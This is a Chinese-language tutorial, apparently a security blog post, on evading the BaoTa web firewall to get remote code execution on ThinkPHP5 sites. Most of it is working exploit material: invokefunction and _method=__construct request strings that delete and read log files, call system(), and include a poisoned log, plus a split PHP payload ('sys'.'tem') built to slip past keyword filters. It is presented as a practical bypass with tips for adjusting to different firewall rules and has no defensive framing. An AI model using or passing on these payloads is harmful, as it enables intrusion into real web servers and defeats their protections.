Thinkphp5-rce-过宝塔小思路
字数 777 2025-08-07 08:22:09
ThinkPHP5 RCE绕过宝塔防护的教学文档
前言
本文介绍如何绕过宝塔防护实现ThinkPHP5的远程代码执行(RCE)。当目标系统存在ThinkPHP5 RCE漏洞但受到宝塔防护时,常规的system、assert等危险函数会被拦截,需要采用特殊技巧绕过。
环境特点
- 宝塔拦截了常见危险函数:system、assert等
- 拦截了常见命令:whoami、id、ipconfig等
- 拦截了PHP标签:
<?php等 - 需要采用文件包含日志的方式进行绕过
方法一:文件包含日志法
基本原理
通过构造特殊请求将恶意代码写入日志文件,然后包含该日志文件实现代码执行。
详细步骤
-
清理旧日志(可选):
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=unlink&vars[1][]=../runtime/log/202201/21.log -
写入测试内容:
访问普通URL让系统生成日志:http://192.168.172.129:8808/index.php?s=index&content=test11 -
查看日志内容:
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../runtime/log/202201/21.log -
构造拆分式恶意代码:
由于<?php ?>等标签被拦截,采用拆分和注释方式:<?php /* $a = "sys" . "tem"; /* $b = "id"; /* $a($b); /*将上述四部分分别插入到日志中合适位置。
-
包含日志执行代码:
/index.php?s=index/\think\Lang/load&file=../runtime/log/202201/21.log
方法二:替代RCE语句法
基本原理
使用ThinkPHP5的另一种RCE方式,结合文件包含技巧。
详细步骤
-
删除旧日志:
get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=unlink -
写入恶意代码到日志:
get[]=id&_method=__construct&method=get&filter[]=system -
包含日志文件执行:
get[]=..\runtime\log\202201\14.log&_method=__construct&method=get&filter[]=think\__include_file
注意事项
- 日志路径:需要根据实际情况调整日志路径中的年月日部分
- 编码问题:注意请求是否会被URL编码,可能影响日志写入效果
- 拦截规则:不同宝塔配置拦截规则可能不同,需要灵活调整绕过方式
- 日志完整性:错误的构造可能导致日志损坏,需要先删除再重建
- 时间戳:日志文件名中的日期部分需要与当前日期匹配
总结
通过文件包含日志的方式可以绕过宝塔对直接命令执行的拦截,关键在于:
- 巧妙构造拆分式PHP代码绕过关键词检测
- 利用ThinkPHP5自身的文件包含功能
- 正确处理日志文件的创建和删除
这种方法在宝塔防护较严格的环境下特别有效,但需要根据实际拦截规则进行适当调整。